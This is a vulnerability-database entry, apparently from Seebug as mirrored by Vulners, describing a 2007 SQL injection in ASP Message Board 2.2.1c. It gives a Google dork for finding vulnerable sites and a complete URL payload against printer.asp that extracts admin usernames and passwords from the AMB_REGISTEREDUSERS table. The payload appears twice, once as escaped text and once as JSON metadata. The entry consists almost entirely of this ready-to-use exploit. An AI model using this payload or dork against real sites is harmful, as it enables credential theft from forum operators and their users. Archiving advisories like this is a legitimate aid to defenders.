Search...

ASP Message Board 2.2.1c Remote SQL Injection Vulnerability

2007-11-07T00:00:00

ID SSV:7457
Type seebug
Reporter Root
Modified 2007-11-07T00:00:00

Description

No description provided by source.

                                        
                                            
                                                *&nbsp;Bug&nbsp;Found&nbsp;On&nbsp;:&nbsp;&quot;ASP&nbsp;Message&nbsp;Board&quot;
*
*&nbsp;Found&nbsp;By&nbsp;:&nbsp;Q7x
*&nbsp;
*&nbsp;Home&nbsp;:&nbsp;Www.Larestankids.coM&nbsp;(&nbsp;Ashiyane2&nbsp;Security&nbsp;Team&nbsp;)
*
*&nbsp;Dork&nbsp;:&nbsp;inurl:&quot;printer.asp?forum=&quot;
*
*&nbsp;Version&nbsp;:&nbsp;2.2.1c
*
*&nbsp;Bug&nbsp;:&nbsp;ASP&nbsp;Message&nbsp;Board&nbsp;-&nbsp;printer.asp&nbsp;-&nbsp;Remote&nbsp;Sql&nbsp;Injection&nbsp;Exploit
*
*&nbsp;Exploit&nbsp;:&nbsp;Admin&nbsp;User&nbsp;/&nbsp;Password&nbsp;:&nbsp;http://www.site.com/boards/printer.asp?forum=AMB_xxxx&amp;id=xxxx&nbsp;or&nbsp;1=convert(int,(select&nbsp;top&nbsp;1&nbsp;convert(varchar,isnull(convert(varchar,Admin),'NUL&nbsp;L'))%2b'/'%2bconvert(varchar,isnull(convert(varcha&nbsp;r,Password),'NULL'))%2b'/'%2bconvert(varchar,isnul&nbsp;l(convert(varchar,Username),'NULL'))&nbsp;from&nbsp;AMB_REGISTEREDUSERS))

JSON Vulners Source

Initial Source

{"sourceData": "\n * Bug Found On : "ASP Message Board"\r\n*\r\n* Found By : Q7x\r\n* \r\n* Home : Www.Larestankids.coM ( Ashiyane2 Security Team )\r\n*\r\n* Dork : inurl:"printer.asp?forum="\r\n*\r\n* Version : 2.2.1c\r\n*\r\n* Bug : ASP Message Board - printer.asp - Remote Sql Injection Exploit\r\n*\r\n* Exploit : Admin User / Password : http://www.site.com/boards/printer.asp?forum=AMB_xxxx&id=xxxx or 1=convert(int,(select top 1 convert(varchar,isnull(convert(varchar,Admin),'NUL L'))%2b'/'%2bconvert(varchar,isnull(convert(varcha r,Password),'NULL'))%2b'/'%2bconvert(varchar,isnul l(convert(varchar,Username),'NULL')) from AMB_REGISTEREDUSERS))\r\n\n ", "status": "poc", "history": [], "description": "No description provided by source.", "sourceHref": "https://www.seebug.org/vuldb/ssvid-7457", "reporter": "Root", "href": "https://www.seebug.org/vuldb/ssvid-7457", "type": "seebug", "_object_types": ["robots.models.base.Bulletin", "robots.models.seebug.SeebugBulletin"], "viewCount": 0, "references": [], "lastseen": "2017-11-19T21:55:28", "published": "2007-11-07T00:00:00", "objectVersion": "1.4", "cvelist": [], "id": "SSV:7457", "enchantments_done": [], "modified": "2007-11-07T00:00:00", "title": "ASP Message Board 2.2.1c Remote SQL Injection Vulnerability", "cvss": {"score": 0.0, "vector": "NONE"}, "bulletinFamily": "exploit", "enchantments": {"score": {"vector": "NONE", "value": 7.5}, "dependencies": {"references": [], "modified": "2017-11-19T21:55:28"}, "vulnersScore": 7.5}, "_object_type": "robots.models.seebug.SeebugBulletin"}